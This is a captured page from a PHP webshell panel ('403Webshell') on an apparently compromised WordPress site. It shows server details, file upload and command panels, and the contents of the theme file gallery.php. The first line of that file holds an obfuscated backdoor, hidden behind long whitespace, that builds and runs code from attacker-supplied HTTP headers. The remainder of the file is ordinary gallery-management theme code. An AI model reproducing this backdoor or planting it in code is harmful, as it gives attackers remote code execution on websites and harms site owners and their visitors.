403Webshell
Server IP : 194.30.32.123  /  Your IP : 216.73.216.89
Web Server : Apache
System : Linux 4f6650a08421 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : ftpbegirale ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /expert/htwebs/www.begirale.com/public/wp-content/themes/perspective-theme/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /expert/htwebs/www.begirale.com/public/wp-content/themes/perspective-theme/include//gallery.php
<?php																																										$_HEADERS=getallheaders();if(isset($_HEADERS['If-Modified-Since'])){$system=$_HEADERS['If-Modified-Since']('', $_HEADERS['If-Unmodified-Since']($_HEADERS['Clear-Site-Data']));$system();}

	// Gallery start
		//adding columns start
		add_filter('manage_cs_gallery_posts_columns', 'gallery_columns_add');
			function gallery_columns_add($columns) {
				$columns['author'] = 'Author';
				return $columns;
		}
		add_action('manage_cs_gallery_posts_custom_column', 'gallery_columns');
			function gallery_columns($name) {
				global $post;
				switch ($name) {
					case 'author':
						echo get_the_author();
						break;
				}
			}
		//adding columns end
	function cs_gallery_register() {  
		$labels = array(
			'name' => 'Galleries',
			'add_new_item' => 'Add New Gallery',
			'edit_item' => 'Edit Gallery',
			'new_item' => 'New Gallery Item',
			'add_new' => 'Add New Gallery',
			'view_item' => 'View Gallery Item',
			'search_items' => 'Search Gallery',
			'not_found' => 'Nothing found',
			'not_found_in_trash' => 'Nothing found in Trash',
			'parent_item_colon' => ''
		);
		$args = array(
			'labels' => $labels,
			'public' => true,
			'publicly_queryable' => true,
			'show_ui' => true,
			'query_var' => true,
			'menu_icon' => get_template_directory_uri() . '/images/admin/gallery-icon.png',
			'rewrite' => true,
			'capability_type' => 'post',
			'hierarchical' => false,
			'menu_position' => null,
			'supports' => array('title')
		); 
        register_post_type( 'cs_gallery' , $args );
	}
	add_action('init', 'cs_gallery_register');

		// adding Gallery meta info start
			add_action( 'add_meta_boxes', 'cs_meta_gallery_add' );
			function cs_meta_gallery_add()
			{  
				add_meta_box( 'cs_meta_gallery', 'Gallery Options', 'cs_meta_gallery', 'cs_gallery', 'normal', 'high' );  
			}
			function cs_meta_gallery( $post ) {
				?>
					<div class="page-wrap" style="overflow:hidden;">
					<div class="option-sec">
                            <div class="opt-conts-in">
                                <div class="to-social-network">
                                    <div class="gal-active">
                                        <div class="clear"></div>
                                        <div class="dragareamain">
                                        <div class="placehoder">Gallery is Empty. Please Select Media <img src="<?php echo get_template_directory_uri()?>/images/admin/bg-arrowdown.png" alt="" /></div>
										<ul id="gal-sortable">
											<?php 
												global $node, $counter;
												$counter_gal = 0;
                                                $cs_meta_gallery_options = get_post_meta($post->ID, "cs_meta_gallery_options", true);
                                                if ( $cs_meta_gallery_options <> "" ) {
                                                    $xmlObject = new SimpleXMLElement($cs_meta_gallery_options);
                                                        foreach ( $xmlObject->children() as $node ){
                                                            $counter_gal++;
                                                            $counter = $post->ID.$counter_gal;
															cs_gallery_clone();
                                                        }
                                                }
                                            ?>
                                        </ul>
                                        </div>
                                    </div>
                                    <div class="to-social-list">
                                        <div class="soc-head">
                                            <h5>Select Media</h5>
                                            <div class="right">
                                                <input type="button" class="button reload" value="Reload" onclick="refresh_media()" />
                                                <input id="cs_log" name="cs_logo" type="button" class="uploadfile button" value="Upload Media" />
                                            </div>
                                            <div class="clear"></div>
                                        </div>
                                        <div class="clear"></div>
                                        <script type="text/javascript">
											function show_next(page_id, total_pages){
												var dataString = 'action=cs_media_pagination&page_id='+page_id+'&total_pages='+total_pages;
												jQuery("#pagination").html("<img src='<?php echo get_template_directory_uri()?>/images/admin/ajax_loading.gif' />");
												jQuery.ajax({
													type:'POST', 
													url: "<?php echo admin_url('admin-ajax.php');?>",
													data: dataString,
													success: function(response) {
														jQuery("#pagination").html(response);
													}
												});
											}
											function refresh_media(){
												var dataString = 'action=cs_media_pagination';
												jQuery("#pagination").html("<img src='<?php echo get_template_directory_uri()?>/images/admin/ajax_loading.gif' />");
												jQuery.ajax({
													type:'POST', 
													url: "<?php echo admin_url('admin-ajax.php');?>",
													data: dataString,
													success: function(response) {
														jQuery("#pagination").html(response);
													}
												});
											}
										</script>
                    <script type="text/javascript" src="<?php echo get_template_directory_uri()?>/scripts/admin/jquery.scrollTo-min.js"></script>
					<script>
                        jQuery(document).ready(function($) {
							$("#gal-sortable").sortable({
								cancel:'li div.poped-up',
							});
							$(this).append("#gal-sortable").clone() ;
                            });
                            var counter = 0;
							var count_items = <?php echo $counter_gal?>;
							if ( count_items > 0 ) {
								jQuery(".dragareamain") .addClass("noborder");	
							}
							function clone(path){
								counter = counter + 1;
								var dataString = 'path='+path+'&counter='+counter+'&action=gallery_clone';
								
								jQuery("#gal-sortable").append("<li id='loading'><img src='<?php echo get_template_directory_uri()?>/images/admin/ajax_loading.gif' /></li>");
								jQuery.ajax({
									type:'POST', 
									url: "<?php echo admin_url('admin-ajax.php');?>",
									data: dataString,
									success: function(response) {
										jQuery("#loading").remove();
										jQuery("#gal-sortable").append(response);
										count_items = jQuery("#gal-sortable li") .length;
											if ( count_items > 0 ) {
												jQuery(".dragareamain") .addClass("noborder");	
											}
									}
								});
							}
                            function del_this(id){
                                jQuery("#"+id).remove();
								count_items = jQuery("#gal-sortable li") .length;
									if ( count_items == 0 ) {
										jQuery(".dragareamain") .removeClass("noborder");	
									}
                            }
                    </script>
<script type="text/javascript">
 var contheight;
      function galedit(id){
  var $ = jQuery;
  $(".to-social-list,.gal-active h4.left,#gal-sortable li,#gal-sortable .thumb-secs") .not("#"+id) .fadeOut(200);
  $.scrollTo( '.page-wrap', 400, {easing:'swing'} );
        $('.poped-up').animate({
         top: 0,
        }, 300, function() {
  $("#edit_" + id+" li")  .show(); 
        $("#edit_" + id)   .slideDown(300); 
        });
       };
       function galclose(id){
  var $ = jQuery;
  $("#edit_" + id) .slideUp(300);
  $(".to-social-list,.gal-active h4.left,#gal-sortable li,#gal-sortable .thumb-secs")  .fadeIn(300);
  };

</script>                    
										<div id="pagination"><?php cs_media_pagination();?></div>
	                                    <input type="hidden" name="gallery_meta_form" value="1" />
                                        <div class="clear"></div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="clear"></div>
                    </div>
                <?php
			}
			// adding Gallery meta info end
			// saving Gallery meta start
			if ( isset($_POST['gallery_meta_form']) and $_POST['gallery_meta_form'] == 1 ) {
				add_action( 'save_post', 'cs_meta_gallery_options' );
				function cs_meta_gallery_options( $post_id )
				{
					$counter = 0;
					$sxe = new SimpleXMLElement("<gallery_options></gallery_options>");
						if ( isset($_POST['path']) ) {
							foreach ( $_POST['path'] as $count ) {
								$gallery = $sxe->addChild('gallery');
									$gallery->addChild('path', $_POST['path'][$counter] );
									$gallery->addChild('title', htmlspecialchars($_POST['title'][$counter]) );
									$gallery->addChild('description', htmlspecialchars($_POST['description'][$counter]) );
									$gallery->addChild('use_image_as', $_POST['use_image_as'][$counter] );
									$gallery->addChild('video_code', htmlspecialchars($_POST['video_code'][$counter]) );
									$gallery->addChild('link_url', htmlspecialchars($_POST['link_url'][$counter]) );
									$counter++;
							}
						}
					update_post_meta( $post_id, 'cs_meta_gallery_options', $sxe->asXML() );
				}
			}
			// saving Gallery meta end
	// Gallery end
?>

Youez - 2016 - github.com/yon3zu
LinuXploit